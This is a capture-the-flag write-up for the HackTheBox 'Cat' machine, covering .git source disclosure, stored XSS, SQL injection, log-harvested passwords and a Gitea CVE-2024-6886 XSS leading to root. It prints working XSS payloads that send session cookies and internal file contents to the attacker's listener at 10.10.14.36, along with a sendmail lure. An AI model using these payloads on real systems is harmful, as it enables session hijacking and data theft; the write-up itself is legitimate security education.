‘Cat’ box from HackTheBox has just been retired, and it was a solid Medium challenge. The whole experience is a great exercise in the application of Cross-Site Scripting. While it’s easy to recognize the individual vulnerabilities, the real strength of this box is how it strings these textbook attacks into a logical and applicable chain. There’s a good flow to it, where each step you take unlocks the next part. It’s a good example of how classic attacks can be remixed into an experience that’s both fun and instructive.
Tl;Dr: To get the user flag, you begin by finding an exposed /.git directory. Dumping the repository with GitTools reveals the web application’s PHP source code. A review of the code uncovers an admin-only SQL injection and a stored XSS vulnerability via username registration. You exploit the XSS by registering a malicious username, which executes when the admin (axel) views your cat submission, stealing their session cookie. Using this cookie, you exploit the SQL injection with sqlmap to dump the SQLite database, obtaining MD5 password hashes. You crack rosa‘s hash and gain initial SSH access. Pivot to axel whom cleartext password in visible the Apache access logs. SSHing as axel grants you the user flag.
For the root flag, after logging in as axel, an email in /var/mail/axel points to an internal Gitea instance (version 1.22.0) and mentions a user jobert who reviews repositories. You identify a known Stored XSS vulnerability (CVE-2024-6886) in this Gitea version. You create a malicious repository with an XSS payload in its description designed to fetch the content of an internal PHP file (mentioned in the email) and exfiltrate it. After emailing jobert a link to this repository, the XSS executes, sending you the PHP file’s content, which contains hardcoded Basic Authentication credentials. You then use these credentials to su to root, obtaining the root flag.
Alright! Let’s get into the details now!
First things first, let’s add the box’s IP to our /etc/hosts file for easier access.
As with any target, we’ll start with a classic nmap scan to identify open ports and running services. This gives us our initial map of the attack surface.
[hg8@archbook ~]$ nmap -sV -sT -sC cat.htb Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 12:45 CEST Nmap scan report for cat.htb (10.10.11.53) Host is up (0.031s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA) | 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA) |_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Best Cat Competition |_http-server-header: Apache/2.4.41 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds
The scan reveals two open ports:
Port 22: OpenSSH 8.2p1, our usual target for shell access once we find credentials.
Port 80: An Apache web server hosting a “Best Cat Competition” website. This will be our primary entry point.
Navigating to http://cat.htb presents a simple website where users can register and log in.
After creating an account and logging in, a new page becomes available that allows users to submit a cat to the competition. This form includes a file upload feature for a picture, which is always a feature of interest for potential vulnerabilities.
Before diving into the web application itself, let’s run a directory bruteforce with gobuster to see if we can find any hidden files or folders.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
[hg8@archbook ~]$ gobuster dir -u "http://cat.htb" -w /usr/share/seclists/Discovery/Web-Content/big.txt
Uncovering the Source Code via Git Repository Disclosure
The gobuster scan immediately yields a critical finding: a publicly exposed /.git directory. This misconfiguration allows us to download the entire history and source code of the web application. You can read more about this common vulnerability here: “Don’t publicly expose .git or how we downloaded your website’s sourcecode“
Using the GitTools suite, we can dump the repository contents.
[hg8@archbook ~]$ bash gitdumper.sh http://cat.htb/.git/ ~/htb/cat ########### # GitDumper is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ###########
[hg8@archbook ~]$ bash extractor.sh ~/htb/cat ~/htb/cat ########### # Extractor is part of https://github.com/internetwache/GitTools # # Developed and maintained by @gehaxelt from @internetwache # # Use at your own risk. Usage might be illegal in certain circumstances. # Only for educational purposes! ########### [+] Found commit: 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5 [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/accept_cat.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/admin.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/config.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/contest.php [+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/css [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/css/styles.css [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/delete_cat.php [+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img/cat1.jpg [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img/cat2.png [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img/cat3.webp [+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners/cat1.jpg [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners/cat2.png [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners/cat3.webp [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/index.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/join.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/logout.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/view_cat.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/vote.php [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/winners.php [+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/winners [+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/winners/cat_report_20240831_173129.php
Analyzing the Source Code
Having access to the source code is a massive advantage. Our review uncovers several key pieces of information. First, we identify the admin’s username in admin.php.
// Check if the user is logged in if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') { header("Location: /join.php"); exit(); } [...]
The admin user is axel.
SQL Injection Discovery
Further review reveals a classic SQL injection vulnerability in accept_cat.php. The catName POST parameter is directly concatenated into the SQL query without any sanitization or use of prepared statements.
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') { if ($_SERVER["REQUEST_METHOD"] == "POST") { if (isset($_POST['catId']) && isset($_POST['catName'])) { $cat_name = $_POST['catName']; $catId = $_POST['catId']; $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; $pdo->exec($sql_insert); [...]
However, the code explicitly checks if the logged-in user is axel. This means we can’t exploit the SQLi directly. Classic pivot scenario: if we can’t exploit the vulnerability ourselves, maybe we can force the admin to do it for us. This leads us to hunt for a Cross-Site Scripting (XSS) vulnerability.
Stored XSS via Username Registration
Reviewing the application’s code again, we find a stored XSS vulnerability. The join.php file takes a username from a GET request during registration:
Chaining XSS and SQLi: From Cookie Theft to Database Dump
Chaining all together, here is our plan:
Register a new user with an XSS payload as the username.
Submit a cat to the competition with this new user.
When the admin axel views our submission, the XSS payload will execute in his browser.
The payload will steal his session cookie and send it to our server.
We will use his cookie to login as him and exploit the SQL injection.
Let’s register an account with a payload designed to steal the document.cookie: <img src=x onerror="fetch('http://10.10.14.36:8000/?c='+document.cookie);">
We start a simple Python web server to listen for the incoming cookie.
1 2
[hg8@archbook ~]$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
After submitting a new cat, we wait for the admin to review it. Shortly after, we receive a connection with axel‘s session ID.
Success! We can now use this cookie in our browser (via developer tools) to gain access to the admin panel.
Database Extraction with SQLMap
Now authenticated as axel, we can exploit the SQL injection in accept_cat.php. To expedite the process, we’ll use sqlmap. We know from config.php that the database is SQLite, which we can provide as a hint to sqlmap.
The source code review revealed that the passwords are a simple MD5 hash without any salt. This makes them vulnerable to cracking against a common password list like rockyou.txt. We use hashcat to crack the hashes we’ve dumped.
We successfully crack the password for the user rosa. Let’s see if we can use these credentials to SSH into the box.
1 2 3 4
ssh rosa@cat.htb Last login: Mon Jun 16 11:26:22 2025 from 10.10.14.62 rosa@cat:~$ ls rosa@cat:~$
We’re in! However, the user flag is not in rosa‘s home directory. This means we need to pivot to another user, likely axel.
From Rosa to Axel via Log Analysis
At this point, it’s time for some internal enumeration. I couldn’t find anything of interest in rosa account so I went back to the source code, as it’s often a source of more clues. I noticed something I’d overlooked: the login and registration forms use the GET method.
When a form uses GET, the submitted data, including usernames and passwords, is appended to the URL as query parameters. This data is often logged in the web server’s access logs. The server is running Apache2, and as user rosa, we have permission to read its logs.
Bingo! We’ve found axel‘s cleartext password in the Apache logs. Let’s use it to SSH in as axel.
1 2 3 4 5 6 7 8
[hg8@archbook ~]$ ssh axel@cat.htb axel@cat.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64) You have mail. Last login: Mon Jun 16 11:44:54 2025 from 127.0.0.1 axel@cat:~$ cat user.txt 7f2cXXXXXXXXXXXXXXXXXc5be96a
And we have the user flag!
PrivEsc to Root (Root Flag)
Reconnaissance: Following the Breadcrumbs
Immediately upon logging in as axel, the Message of The Day (MOTD) informs us: You have mail.. This is our first clue for privilege escalation. Let’s read the mail.
axel@cat:/tmp$ cat /var/mail/axel From rosa@cat.htb Sat Sep 28 04:51:50 2024 Return-Path: <rosa@cat.htb> Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592 for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591 for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT Date: Sat, 28 Sep 2024 04:51:49 GMT From: rosa@cat.htb Message-Id: <202409280451.48S4pnlT001591@cat.htb> Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024 Return-Path: <rosa@cat.htb> Received: from cat.htb (localhost [127.0.0.1]) by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268 for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT Received: (from rosa@localhost) by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267 for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT Date: Sat, 28 Sep 2024 05:05:28 GMT From: rosa@cat.htb Message-Id: <202409280505.48S55Sm0002267@cat.htb> Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
The email points to an internal Gitea instance running on localhost:3000 and mentions a user named jobert who reviews repositories. To access this service from our machine, we can set up SSH port forwarding with a jump proxy:
This command forwards our local port 3000 to the server’s port 3000, allowing us to browse http://localhost:3000 on our machine as if we were on the server.
Gitea Enumeration and Vulnerability Discovery
Navigating to the repository mentioned in the email results in a 404 error, likely due to a lack of permissions.
However, we can log in to the Gitea instance as axel using his system password. While exploring the interface, we find the Gitea version number in the footer: Version: 1.22.0.
Exploiting Gitea via Stored XSS
A quick search for vulnerabilities in Gitea 1.22.0 leads us to CVE-2024-6886, a stored XSS vulnerability. The exploit can be found here: Exploit-DB.
The plan is to leverage this XSS to read files from the GiTea repository. The email mentioned that jobert reviews repositories, and that he will “review the whole repository.” This suggests an user who will click links. We can craft a malicious link that, when visited, will fetch the content of a file from the internal Gitea instance and exfiltrate it to our listener.
We will create a new repository and place the malicious payload in its description. This payload attempts to read the index.php file from the private Employee-management repository and sends its content to our server.
1
<ahref="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(data => data.text()).then(data => fetch('http://10.10.14.36:8000/?data=' + encodeURIComponent(data)));">Hey Jobert, check out this repository</a>
Following the instructions in the email, we send a mail to jobert with a link to our new repository.
1
axel@cat:~$ echo -e "Subject: New repository to review please - http://localhost:3000/axel/hg8" | sendmail jobert@localhost
A few moments later, our Python web server receives the contents of the index.php file.
The password IKw75eR0MR7CMIxhH0 looks promising. While it’s associated with a web username admin, it’s common for such passwords to be reused for the root user. Let’s try it.
1 2 3 4
axel@cat:~$ su - Password: root@cat:~# cat root.txt 5a1XXXXXXXXXXXXXae957f
And we are root!
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!